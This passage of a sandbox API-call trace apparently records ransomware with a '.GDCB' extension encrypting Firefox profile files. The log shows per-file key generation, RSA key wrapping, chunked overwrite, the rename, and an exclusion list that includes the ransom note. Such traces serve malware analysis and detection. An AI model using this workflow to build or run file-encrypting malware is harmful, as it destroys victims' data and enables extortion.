v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.551] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd448) returned 1 [0056.551] CryptGetKeyParam (in: hKey=0x5dd448, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.551] CryptEncrypt (in: hKey=0x5dd448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0056.551] GetLastError () returned 0x0 [0056.551] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.551] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0056.552] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0056.552] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0056.552] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x18000, lpOverlapped=0x0) returned 1 [0056.585] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.586] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0056.588] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.588] SetFilePointer (in: hFile=0x504, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.588] WriteFile (in: hFile=0x504, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285e820*=0x18000, lpOverlapped=0x0) returned 1 [0056.588] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.589] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.592] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.593] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.593] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0056.593] CloseHandle (hObject=0x504) returned 1 [0056.594] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.595] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.595] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.595] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite.gdcb")) returned 1 [0056.595] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.596] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.596] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.596] lstrcmpW (lpString1="places.sqlite", lpString2=".") returned 1 [0056.596] lstrcmpW (lpString1="places.sqlite", lpString2="..") returned 1 [0056.596] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="places.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" [0056.596] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.596] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93 [0056.596] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93 [0056.596] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93 [0056.596] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="desktop.ini") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="autorun.inf") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="ntuser.dat") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="iconcache.db") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="bootsect.bak") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="boot.ini") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="ntuser.dat.log") returned 1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="thumbs.db") returned -1 [0056.596] lstrcmpiW (lpString1="places.sqlite", lpString2="GDCB-DECRYPT.txt") returned 1 [0056.596] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite")) returned 0x20 [0056.596] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite", dwFileAttributes=0x20) returned 1 [0056.597] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0056.597] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" [0056.597] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.GDCB" [0056.597] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.597] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.597] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.597] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.597] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0056.598] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.598] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.598] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0056.598] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.598] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.598] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0056.598] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0056.598] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.598] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0056.599] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0056.599] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.601] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd508) returned 1 [0056.601] CryptGetKeyParam (in: hKey=0x5dd508, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.601] CryptEncrypt (in: hKey=0x5dd508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0056.601] GetLastError () returned 0x0 [0056.601] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.601] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.603] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd4c8) returned 1 [0056.603] CryptGetKeyParam (in: hKey=0x5dd4c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.603] CryptEncrypt (in: hKey=0x5dd4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0056.603] GetLastError () returned 0x0 [0056.603] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.603] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0056.603] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0056.603] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0056.604] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.661] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.671] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.683] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.688] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.688] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.690] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.692] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.738] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.743] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.755] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.758] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x100000 [0056.758] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.759] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.762] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.861] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.865] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x200000 [0056.865] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.867] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.870] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.893] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.897] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.908] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.910] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x300000 [0056.910] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.912] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.915] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.945] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.950] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.959] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.962] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x400000 [0056.962] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.964] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.968] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.981] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0057.010] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.013] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x500000 [0057.013] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0057.015] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.018] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0057.023] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.029] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0057.042] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.055] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x600000 [0057.055] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0057.057] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.059] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0057.066] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.074] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0057.088] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.090] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x700000 [0057.091] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0057.095] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.098] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0057.103] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.108] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0057.118] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.121] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x800000 [0057.121] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0057.122] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.127] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0057.132] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.162] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0057.173] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.175] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x900000 [0057.175] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0057.177] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.180] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x0, lpOverlapped=0x0) returned 1 [0057.180] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.183] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.189] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.189] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.189] CloseHandle (hObject=0x504) returned 1 [0057.357] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.358] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.358] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.358] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite.gdcb")) returned 1 [0057.359] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.359] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.359] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.359] lstrcmpW (lpString1="pluginreg.dat", lpString2=".") returned 1 [0057.359] lstrcmpW (lpString1="pluginreg.dat", lpString2="..") returned 1 [0057.359] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="pluginreg.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") 